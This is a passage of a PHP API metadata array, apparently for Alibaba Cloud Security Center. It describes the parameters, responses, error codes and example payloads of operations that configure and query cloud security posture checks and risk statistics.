time period that is specified by the start time and end time must be one of the following time periods:'."\n" ."\n" .'* **00:00 to 06:00:** If you set the StartTime parameter to 0, you must set the EndTime parameter to 6.'."\n" .'* **06:00 to 12:00**: If you set the StartTime parameter to 6, you must set the EndTime parameter to 12.'."\n" .'* **12:00 to 18:00**: If you set the StartTime parameter to 12, you must set the EndTime parameter to 18.'."\n" .'* **18:00 to 24:00:** If you set the StartTime parameter to 18, you must set the EndTime parameter to 24.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '6', ], ], [ 'name' => 'StandardIds', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'An array that consists of the information about the check item.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The ID of the check item. Valid values:'."\n" ."\n" .'* **2:** configuration assessment management'."\n" .'* **4:** compliance'."\n" .'* **5:** identity and permission management'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '2', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'ConfigRequirementIds', 'in' => 'query', 'style' => 'json', 'schema' => [ 'description' => 'The requirement IDs that you want to specify for the check policy.'."\n" ."\n" .'> You can call the [ListCheckResult](~~ListCheckResult~~) operation to obtain the requirement ID. If the ConfigStandardIds parameter is configured, this parameter does not take effect.'."\n", 'type' => 'object', 'properties' => [ 'AddIds' => [ 'description' => 'The requirement IDs that you want to add to the policy.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The requirement ID that you want to add to the policy.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '6', ], 'required' => false, ], 'RemoveIds' => [ 'description' => 'The requirement IDs that you want to remove from the policy.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The requirement ID that you want to remove from the policy.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '5', ], 'required' => false, ], ], 'required' => false, ], ], [ 'name' => 'ConfigStandardIds', 'in' => 'query', 'style' => 'json', 'schema' => [ 'description' => 'The standard IDs that you want to specify for the check policy.'."\n" ."\n" .'> You can call the [ListCheckResult](~~ListCheckResult~~) operation to obtain the standard ID.'."\n", 'type' => 'object', 'properties' => [ 'AddIds' => [ 'description' => 'The standard IDs that you want to add to the policy.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The standard ID that you want to add to the policy.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '2', ], 'required' => false, ], 'RemoveIds' => [ 'description' => 'The standard IDs that you want to remove from the policy.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The standard ID that you want to remove from the policy.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '5', ], 'required' => false, ], ], 'required' => false, ], ], [ 'name' => 'EnableAutoCheck', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to enable the automatic periodical check feature. Valid values:'."\n" ."\n" .'- **true**'."\n" .'- **false**', 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], [ 'name' => 'EnableAddCheck', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to check the new check items in the selected requirement item. Valid values:'."\n" .'- **true**'."\n" .'- **false**', 'type' => 'boolean', 'required' => false, 'example' => 'false', ], ], [ 'name' => 'AddedCheck', 'in' => 'query', 'style' => 'flat', 'schema' => [ 'description' => 'The list of check items that you want to add to the policy.'."\n" ."\n" .'> If the ConfigStandardIds or ConfigRequirementIds parameter is configured, this parameter does not take effect.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'CheckId' => [ 'description' => 'The ID of the check item.'."\n" ."\n" .'> You can call the [ListCheckResult](~~ListCheckResult~~) operation to obtain the ID of the check item.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '5', ], 'SectionId' => [ 'description' => 'The section ID of the check item.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '69', ], ], 'required' => false, ], 'required' => false, ], ], [ 'name' => 'RemovedCheck', 'in' => 'query', 'style' => 'flat', 'schema' => [ 'description' => 'The list of the check items that you want to remove from the policy.'."\n" ."\n" .'> If the ConfigStandardIds or ConfigRequirementIds parameter is configured, this parameter does not take effect.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'CheckId' => [ 'description' => 'The ID of the check item.'."\n" ."\n" .'> You can call the [ListCheckResult](~~ListCheckResult~~) operation to obtain the ID of the check item.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '19', ], 'SectionId' => [ 'description' => 'The section ID of the check item.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '69', ], ], 'required' => false, ], 'required' => false, ], ], [ 'name' => 'Vendors', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The cloud service providers.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The cloud service provider. Valid values:'."\n" ."\n" .'* **ALIYUN**: an asset provided by Alibaba Cloud'."\n" .'* **TENCENT**: an asset provided by Tencent Cloud'."\n" .'* **AWS**: an asset provided by Amazon Web Services (AWS)'."\n", 'type' => 'string', 'required' => false, 'example' => 'ALIYUN', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'Configure', 'in' => 'query', 'schema' => [ 'description' => 'The configuration of the check item. Valid value:'."\n" ."\n" .'* **all**: Add all check items.'."\n", 'type' => 'string', 'required' => false, 'example' => 'all', ], ], [ 'name' => 'SystemConfig', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to use the configuration automatically generated by the system. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], [ 'name' => 'ResourceDirectoryAccountId', 'in' => 'query', 'schema' => [ 'description' => 'The Alibaba Cloud account ID of the member in the resource directory.'."\n" ."\n" .'> You can call the [DescribeMonitorAccounts](~~DescribeMonitorAccounts~~) operation to obtain the IDs.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1232428423234****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'GetCheckConfigResponse', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '6EBB8614-746D-555D-AB69-C801AEC7DCE0', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPurchase', 'errorMessage' => 'The user did not purchase this product.', ], [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"6EBB8614-746D-555D-AB69-C801AEC7DCE0\\"\\n}","type":"json"}]', 'title' => 'ChangeCheckConfig', ], 'GetCheckConfig' => [ 'summary' => 'Queries the information about an automatic configuration check on cloud services.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas8WIQPJ', ], ], 'parameters' => [], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'GetCheckConfigResponse', 'description' => 'GetCheckConfigResponse'."\n", 'type' => 'object', 'properties' => [ 'CycleDays' => [ 'description' => 'The days in a week on which an automatic check is performed.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The day of a week on which an automatic check is performed.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '[1, 2, 3, 4, 5]', ], ], 'StartTime' => [ 'title' => '检查开始时间小时', 'description' => 'The start time of the check. The value indicates a point in time.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'EndTime' => [ 'title' => '检查结束时间小时', 'description' => 'The end time of the check. The value indicates a point in time. The time period that is specified by the start time and end time must be one of the following time periods:'."\n" ."\n" .'* **00:00 to 06:00**: If StartTime is set to 00:00, EndTime must be set to 06:00.'."\n" .'* **06:00 to 12:00**: If StartTime is set to 06:00, EndTime must be set to 12:00.'."\n" .'* **12:00 to 18:00**: If StartTime is set to 12:00, EndTime must be set to 18:00.'."\n" .'* **18:00 to 24:00**: If StartTime is set to 18:00, EndTime must be set to 24:00.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '6', ], 'Standards' => [ 'description' => 'The information about the check items.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Id' => [ 'title' => 'id', 'description' => 'The ID of the check item.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1', ], 'ShowName' => [ 'title' => '名称', 'description' => 'The name of the check item.'."\n", 'type' => 'string', 'example' => 'Cloud service configuration management'."\n", ], 'Type' => [ 'description' => 'The type of the check item. Valid values:'."\n" ."\n" .'* **RISK**: cloud service configuration management'."\n" .'* **IDENTITY_PERMISSION**: identity and permission management'."\n" .'* **COMPLIANCE**: compliance'."\n", 'type' => 'string', 'example' => 'RISK', ], 'Status' => [ 'description' => 'The status of the check item. Valid values:'."\n" ."\n" .'* **ON**: The check item is enabled.'."\n" .'* **OFF**: The check item is disabled.'."\n", 'type' => 'string', 'example' => 'ON', ], ], ], ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '5A3D5C8F-2A42-5477-BDD8-27E64B5F1739', ], 'EnableAutoCheck' => [ 'description' => 'Indicates whether the automatic check is enabled. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'EnableAddCheck' => [ 'description' => 'Indicates whether the check for new check items in the selected requirement item is enabled by default. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'false', ], 'SelectedChecks' => [ 'description' => 'The check items selected in the policy.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'CheckId' => [ 'description' => 'The ID of the check item.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '3', ], 'SectionId' => [ 'description' => 'The section ID of the check item.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '69', ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CycleDays\\": [\\n 0\\n ],\\n \\"StartTime\\": 0,\\n \\"EndTime\\": 6,\\n \\"Standards\\": [\\n {\\n \\"Id\\": 1,\\n \\"ShowName\\": \\"云产品配置管理\\",\\n \\"Type\\": \\"RISK\\",\\n \\"Status\\": \\"ON\\"\\n }\\n ],\\n \\"RequestId\\": \\"5A3D5C8F-2A42-5477-BDD8-27E64B5F1739\\",\\n \\"EnableAutoCheck\\": true,\\n \\"EnableAddCheck\\": false,\\n \\"SelectedChecks\\": [\\n {\\n \\"CheckId\\": 3,\\n \\"SectionId\\": 69\\n }\\n ]\\n}","type":"json"}]', 'title' => 'GetCheckConfig', ], 'GetCheckDetail' => [ 'summary' => 'Queries the details about a check item that is used for configuration assessment.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '119346', 'abilityTreeNodes' => [ 'FEATUREsas8WIQPJ', ], ], 'parameters' => [ [ 'name' => 'CheckId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the check item.'."\n" ."\n" .'> You can call the [ListCheckResult](~~ListCheckResult~~) operation to query the IDs of check items.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '2', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese.'."\n" .'* **en**: English.'."\n", 'type' => 'string', 'required' => false, 'enumValueTitles' => [ 'en' => 'en', 'zh' => 'zh', ], 'example' => 'en', ], ], [ 'name' => 'RegionId', 'in' => 'query', 'schema' => [ 'description' => 'The region ID of the instance.'."\n" ."\n" .'> You can call the [ListCloudAssetInstances](~~ListCloudAssetInstances~~) operation to query the region ID.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cn-hangzhou', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'GetCheckDetailResponse', 'description' => 'GetCheckDetailResponse'."\n", 'type' => 'object', 'properties' => [ 'Description' => [ 'description' => 'The description of the check item.'."\n", 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The description type of the check item. The value is fixed as text.'."\n", 'type' => 'string', 'enumValueTitles' => [], 'example' => 'text', ], 'Value' => [ 'description' => 'The content in the description of the check item.'."\n", 'type' => 'string', 'example' => 'The MSE instance does not enable authentication by default. If public network access is enabled at the same time, the data in the configuration center may be dragged and there is a security risk.', ], 'Link' => [ 'description' => 'The link to the description of the check item.'."\n", 'type' => 'string', 'example' => 'https://www.alibabacloud.com/help/en/object-storage-service/latest/tutorial-implement-data-sharing-across-departments-based-on-bucket-policies', ], ], ], 'Solution' => [ 'description' => 'The solution to handle the risk item.'."\n", 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of the solution to handle the risk item. Valid values:'."\n" ."\n" .'* **text**'."\n" .'* **link**'."\n", 'type' => 'string', 'enumValueTitles' => [], 'example' => 'text', ], 'Value' => [ 'description' => 'The content of the solution to handle the risk item when the Type parameter is set to text.'."\n", 'type' => 'string', 'example' => 'Enter the MSE product console - registration and configuration center - instance list, click the corresponding instance name to enter the instance details, find the public network whitelist setting option in the basic information, and configure the whitelist according to business needs. It is forbidden to configure 0.0.0.0 or the whitelist as null.', ], 'Link' => [ 'description' => 'The link to the solution to handle the risk item when the Type parameter is set to link.'."\n", 'type' => 'string', 'example' => 'https://www.alibabacloud.com/help/en/object-storage-service/latest/tutorial-implement-data-sharing-across-departments-based-on-bucket-policies', ], ], ], 'AssistInfo' => [ 'description' => 'The help information about the check item.'."\n", 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of the help information about the risk item. Valid values:'."\n" ."\n" .'* **text**'."\n" .'* **link**'."\n", 'type' => 'string', 'example' => 'text', ], 'Value' => [ 'description' => 'The content in the help information about the risk item when the Type parameter is set to text.'."\n", 'type' => 'string', 'example' => 'Configure an IP address whitelist', ], 'Link' => [ 'description' => 'The link to the help information about the risk item when the Type parameter is set to link.'."\n", 'type' => 'string', 'example' => 'https://www.alibabacloud.com/help/en/resource-access-management/latest/faq-about-ram-users', ], ], ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '15A6ED6A-DBFE-5255-A248-289907809BEC', ], 'CustomConfigs' => [ 'description' => 'The custom configuration items of the check item.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Name' => [ 'description' => 'The name of the custom configuration item, which is unique in a check item.'."\n", 'type' => 'string', 'example' => 'SessionTimeMax', ], 'TypeDefine' => [ 'description' => 'The type of the custom configuration item. The value is a JSON string.'."\n", 'type' => 'string', 'example' => '{\\"type\\":\\"NUMBER\\",\\"range\\":[1,24]}', ], 'DefaultValue' => [ 'description' => 'The default value of the custom configuration item. The value is a string.'."\n", 'type' => 'string', 'example' => '12', ], 'Value' => [ 'description' => 'The value of the custom configuration item. The value is a string.'."\n", 'type' => 'string', 'example' => '11', ], 'ShowName' => [ 'description' => 'The display name of the custom configuration item for internationalization.'."\n", 'type' => 'string', 'example' => 'Maximum session time'."\n", ], ], 'description' => '', ], ], 'RepairReset' => [ 'description' => '> This parameter is deprecated.'."\n", 'type' => 'string', 'deprecated' => true, 'example' => 'true', ], 'RepairSupportType' => [ 'description' => '> This parameter is deprecated.'."\n", 'type' => 'integer', 'format' => 'int32', 'deprecated' => true, 'example' => '1', ], 'RepairSetting' => [ 'description' => 'The fixing parameter configurations of the check item.'."\n", 'type' => 'object', 'properties' => [ 'RepairSupport' => [ 'description' => 'Indicates whether the check item supports the quick fix feature. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'RepairSupportType' => [ 'description' => 'The fixing type that is supported. Valid values:'."\n" ."\n" .'* **1**: The fixing and rollback are supported.'."\n" .'* **2**: The fixing is supported, but the rollback is not supported.'."\n" .'* **3**: The fixing must be performed on a third-party platform.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RepairReset' => [ 'description' => 'Indicates whether a restart is required after the fixing. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true'."\n", ], 'RepairConfigs' => [ 'description' => 'The configurations of the fixing parameters.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Name' => [ 'description' => 'The name of the parameter. The name must be unique within the check item.'."\n", 'type' => 'string', 'example' => 'navicat', ], 'TypeDefine' => [ 'description' => 'The type of the parameter. The value is a JSON string.'."\n", 'type' => 'string', 'example' => '{\\"type\\":\\"NUMBER\\",\\"range\\":[1,24]}'."\n", ], 'DefaultValue' => [ 'description' => 'The default value of the parameter. The value is a string.'."\n", 'type' => 'string', 'example' => '1', ], 'Value' => [ 'description' => 'The user-configured value of the parameter. The value is a string.'."\n", 'type' => 'string', 'example' => '2', ], 'ShowName' => [ 'description' => 'The display name of the parameter.'."\n", 'type' => 'string', 'example' => 'port', ], 'FlowId' => [ 'description' => 'The ID of the fixing workflow.'."\n", 'type' => 'string', 'example' => '64312d3ee19d470a9b54393dab****', ], 'CustomFlag' => [ 'description' => 'Indicates whether custom configurations of the fixing parameters are supported. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'ExclusiveName' => [ 'description' => 'The fixing parameters that are not compatible with this parameter.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The fixing parameter that is not compatible with this parameter. You cannot configure the two parameters at the same time.'."\n", 'type' => 'string', 'example' => '["port"]', ], ], 'ConsoleParamType' => [ 'description' => 'Indicates whether the value of the parameter is displayed in the console. Valid values:'."\n" ."\n" .'* 0: The historical value and real-time value of the parameter are displayed.'."\n" .'* 1: Only the real-time value of the parameter is displayed.'."\n" .'* 2: The value of the parameter is not displayed in the console.'."\n", 'type' => 'string', 'example' => '0', ], 'DataTransformType' => [ 'description' => 'Indicates whether data needs to be encrypted during transmission. Valid values:'."\n" ."\n" .'* 0: Data does not need to be encrypted during transmission.'."\n" .'* 1: Data needs to be encrypted during transmission.'."\n" .'* 2: Data needs to be encrypted during transmission, and the user must perform secondary confirmation.'."\n", 'type' => 'string', 'example' => '1', ], 'UsageType' => [ 'description' => 'The type of the parameter. Valid values:'."\n" ."\n" .'* 1: asset parameters that are required during fixing.'."\n" .'* 2: user-provided parameters that are required during fixing.'."\n" .'* 3: parameters that are temporarily provided by the user.'."\n", 'type' => 'string', 'example' => '1', ], 'EmptyParamSwitch' => [ 'description' => 'Indicates whether this parameter is specified by the user. Valid values:'."\n" ."\n" .'* 0: The default value is used.'."\n" .'* 1: This parameter is required, and no default value is specified.'."\n" .'* 2: This parameter can be left empty.'."\n", 'type' => 'string', 'example' => '1', ], ], 'description' => '', ], ], 'FlowStep' => [ 'description' => 'The description of the fixing workflow.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Step' => [ 'description' => 'The sequence number of the fixing step.'."\n", 'type' => 'string', 'example' => '1', ], 'ShowText' => [ 'description' => 'The text description of the fixing step.'."\n", 'type' => 'string', 'example' => 'The first step is to open the calling interface.', ], ], 'description' => '', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Description\\": {\\n \\"Type\\": \\"text\\",\\n \\"Value\\": \\"The MSE instance does not enable authentication by default. If public network access is enabled at the same time, the data in the configuration center may be dragged and there is a security risk.\\",\\n \\"Link\\": \\"https://www.alibabacloud.com/help/en/object-storage-service/latest/tutorial-implement-data-sharing-across-departments-based-on-bucket-policies\\"\\n },\\n \\"Solution\\": {\\n \\"Type\\": \\"text\\",\\n \\"Value\\": \\"Enter the MSE product console - registration and configuration center - instance list, click the corresponding instance name to enter the instance details, find the public network whitelist setting option in the basic information, and configure the whitelist according to business needs. It is forbidden to configure 0.0.0.0 or the whitelist as null.\\",\\n \\"Link\\": \\"https://www.alibabacloud.com/help/en/object-storage-service/latest/tutorial-implement-data-sharing-across-departments-based-on-bucket-policies\\"\\n },\\n \\"AssistInfo\\": {\\n \\"Type\\": \\"text\\",\\n \\"Value\\": \\"Configure an IP address whitelist\\",\\n \\"Link\\": \\"https://www.alibabacloud.com/help/en/resource-access-management/latest/faq-about-ram-users\\"\\n },\\n \\"RequestId\\": \\"15A6ED6A-DBFE-5255-A248-289907809BEC\\",\\n \\"CustomConfigs\\": [\\n {\\n \\"Name\\": \\"SessionTimeMax\\",\\n \\"TypeDefine\\": \\"{\\\\\\\\\\\\\\"type\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"NUMBER\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"range\\\\\\\\\\\\\\":[1,24]}\\",\\n \\"DefaultValue\\": \\"12\\",\\n \\"Value\\": \\"11\\",\\n \\"ShowName\\": \\"Maximum session time\\\\n\\"\\n }\\n ],\\n \\"RepairReset\\": \\"true\\",\\n \\"RepairSupportType\\": 1,\\n \\"RepairSetting\\": {\\n \\"RepairSupport\\": true,\\n \\"RepairSupportType\\": 1,\\n \\"RepairReset\\": true,\\n \\"RepairConfigs\\": [\\n {\\n \\"Name\\": \\"navicat\\",\\n \\"TypeDefine\\": \\"{\\\\\\\\\\\\\\"type\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"NUMBER\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"range\\\\\\\\\\\\\\":[1,24]}\\\\n\\",\\n \\"DefaultValue\\": \\"1\\",\\n \\"Value\\": \\"2\\",\\n \\"ShowName\\": \\"port\\",\\n \\"FlowId\\": \\"64312d3ee19d470a9b54393dab****\\",\\n \\"CustomFlag\\": true,\\n \\"ExclusiveName\\": [\\n \\"[\\\\\\"port\\\\\\"]\\"\\n ],\\n \\"ConsoleParamType\\": \\"0\\",\\n \\"DataTransformType\\": \\"1\\",\\n \\"UsageType\\": \\"1\\",\\n \\"EmptyParamSwitch\\": \\"1\\"\\n }\\n ],\\n \\"FlowStep\\": [\\n {\\n \\"Step\\": \\"1\\",\\n \\"ShowText\\": \\"The first step is to open the calling interface.\\"\\n }\\n ]\\n }\\n}","type":"json"}]', 'title' => 'GetCheckDetail', ], 'GetCheckCountStatistic' => [ 'summary' => 'Queries statistics on the number of risk items in cloud security posture management (CSPM) for cloud services.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '203837', 'abilityTreeNodes' => [ 'FEATUREsasAIJXMJ', 'FEATUREsas8WIQPJ', ], ], 'parameters' => [ [ 'name' => 'Vendors', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The cloud service providers.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The cloud service provider. Valid values:'."\n" ."\n" .'* **ALIYUN**: Alibaba Cloud.'."\n" .'* **TENCENT**: Tencent Cloud.'."\n" .'* **MICROSOFT**: Microsoft Azure.'."\n" .'* **AWS**: Amazon Web Services (AWS).'."\n", 'type' => 'string', 'required' => false, 'example' => 'ALIYUN', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'StatisticType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the statistics. Valid values:'."\n" ."\n" .'* **user**: the top five users that are granted excessive permissions.'."\n" .'* **role**: the top five roles that are granted excessive permissions.'."\n" .'* **instance**: the top five cloud services on which risks are detected.'."\n" .'* **host**: the top five servers on which baseline risks are detected.'."\n", 'type' => 'string', 'required' => false, 'example' => 'instance', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'title' => '语言参数', 'type' => 'string', 'example' => 'zh', ], ], [ 'name' => 'TaskSources', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'Task source.', 'type' => 'array', 'items' => [ 'description' => 'Task source. Values: - **YAO_CHI**: YaoChi Console.', 'type' => 'string', 'required' => false, 'example' => 'YAO_CHI', ], 'required' => false, 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '20456DD5-5CBF-5015-9173-12CA4246B***', ], 'CheckCountStatisticDTO' => [ 'description' => 'The risk item statistics.'."\n", 'type' => 'object', 'properties' => [ 'CheckCountStatisticItems' => [ 'description' => 'The risk item statistics.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'InstanceId' => [ 'description' => 'The instance ID of the cloud service.'."\n", 'type' => 'string', 'example' => 'i-wz9bpxyu6t74qn9g****', ], 'InstanceName' => [ 'description' => 'The instance name of the asset.'."\n", 'type' => 'string', 'example' => 'launch-advisor-2021****', ], 'RiskCount' => [ 'description' => 'The number of risk items.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '22', ], 'Vendor' => [ 'description' => 'The cloud service provider. Valid values:'."\n" ."\n" .'* **ALIYUN**: Alibaba Cloud.'."\n" .'* **TENCENT**: Tencent Cloud.'."\n" .'* **MICROSOFT**: Microsoft Azure.'."\n" .'* **AWS**: AWS.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => 'ALIYUN', ], 'InstanceType' => [ 'description' => 'The asset type. Valid values:'."\n" ."\n" .'* **0**: Elastic Compute Service (ECS) instance.'."\n" .'* **1**: Server Load Balancer (SLB) instance.'."\n" .'* **2**: NAT gateway.'."\n" .'* **3**: ApsaraDB RDS instance.'."\n" .'* **4**: ApsaraDB for MongoDB (MongoDB) instance.'."\n" .'* **5**: Tair (Redis OSS-compatible) (Tair) instance.'."\n" .'* **6**: container image.'."\n" .'* **7**: container.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'InstanceSubType' => [ 'description' => 'The subtype of the cloud service.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'RegionId' => [ 'description' => 'The region.'."\n", 'type' => 'string', 'example' => 'cn-shanghai', ], 'InstanceTypeName' => [ 'description' => 'The asset type of the cloud service. Valid values:'."\n" ."\n" .'* **ECS**: ECS.'."\n" .'* **SLB**: SLB.'."\n" .'* **RDS**: ApsaraDB RDS.'."\n" .'* **MONGODB**: ApsaraDB for MongoDB.'."\n" .'* **KVSTORE**: Tair.'."\n" .'* **ACR**: Container Registry.'."\n" .'* **CSK**: Container Service for Kubernetes (ACK).'."\n" .'* **VPC**: Virtual Private Cloud (VPC).'."\n" .'* **ACTIONTRAIL**: ActionTrail.'."\n" .'* **CDN**: Alibaba Cloud CDN (CDN).'."\n" .'* **CAS**: Certificate Management Service (formerly SSL Certificates Service).'."\n" .'* **RDC**: Alibaba Cloud DevOps.'."\n" .'* **RAM**: Resource Access Management (RAM).'."\n" .'* **DDOS**: Anti-DDoS.'."\n" .'* **WAF**: Web Application Firewall (WAF).'."\n" .'* **OSS**: Object Storage Service (OSS).'."\n" .'* **POLARDB**: PolarDB.'."\n" .'* **POSTGRESQL**: ApsaraDB RDS for PostgreSQL.'."\n" .'* **MSE**: Microservices Engine (MSE).'."\n" .'* **NAS**: File Storage NAS (NAS).'."\n" .'* **SDDP**: Sensitive Data Discovery and Protection (SDDP).'."\n" .'* **EIP**: Elastic IP Address (EIP).'."\n", 'type' => 'string', 'example' => 'ECS', ], 'InstanceSubTypeName' => [ 'description' => 'The asset subtype of the cloud service. Valid values:'."\n" ."\n" .'* If **InstanceTypeName** is set to **ECS**, this parameter supports the following valid values:'."\n" ."\n" .' * **INSTANCE**'."\n" .' * **DISK**'."\n" .' * **SECURITY_GROUP**'."\n" ."\n" .'* If **InstanceTypeName** is set to **ACR**, this parameter supports the following valid values:'."\n" ."\n" .' * **REPOSITORY_ENTERPRISE**'."\n" .' * **REPOSITORY_PERSON**'."\n" ."\n" .'* If **InstanceTypeName** is set to **RAM**, this parameter supports the following valid values:'."\n" ."\n" .' * **ALIAS**'."\n" .' * **USER**'."\n" .' * **POLICY**'."\n" .' * **GROUP**'."\n" ."\n" .'* If **InstanceTypeName** is set to **WAF**, this parameter supports the following valid value:'."\n" ."\n" .' * **DOMAIN**'."\n" ."\n" .'* If **InstanceTypeName** is set to other values, this parameter supports the following valid values:'."\n" ."\n" .' * **INSTANCE**'."\n", 'type' => 'string', 'example' => 'INSTANCE', ], 'Uuid' => [ 'description' => 'The UUID of the host instance.'."\n", 'type' => 'string', 'example' => 'c9107c04-942f-40c1-981a-f1c1****'."\n", ], 'InternetIp' => [ 'description' => 'The public IP address of the host instance.'."\n", 'type' => 'string', 'example' => '1.2.XX.XX'."\n", ], 'IntranetIp' => [ 'description' => 'The private IP address of the host instance.'."\n", 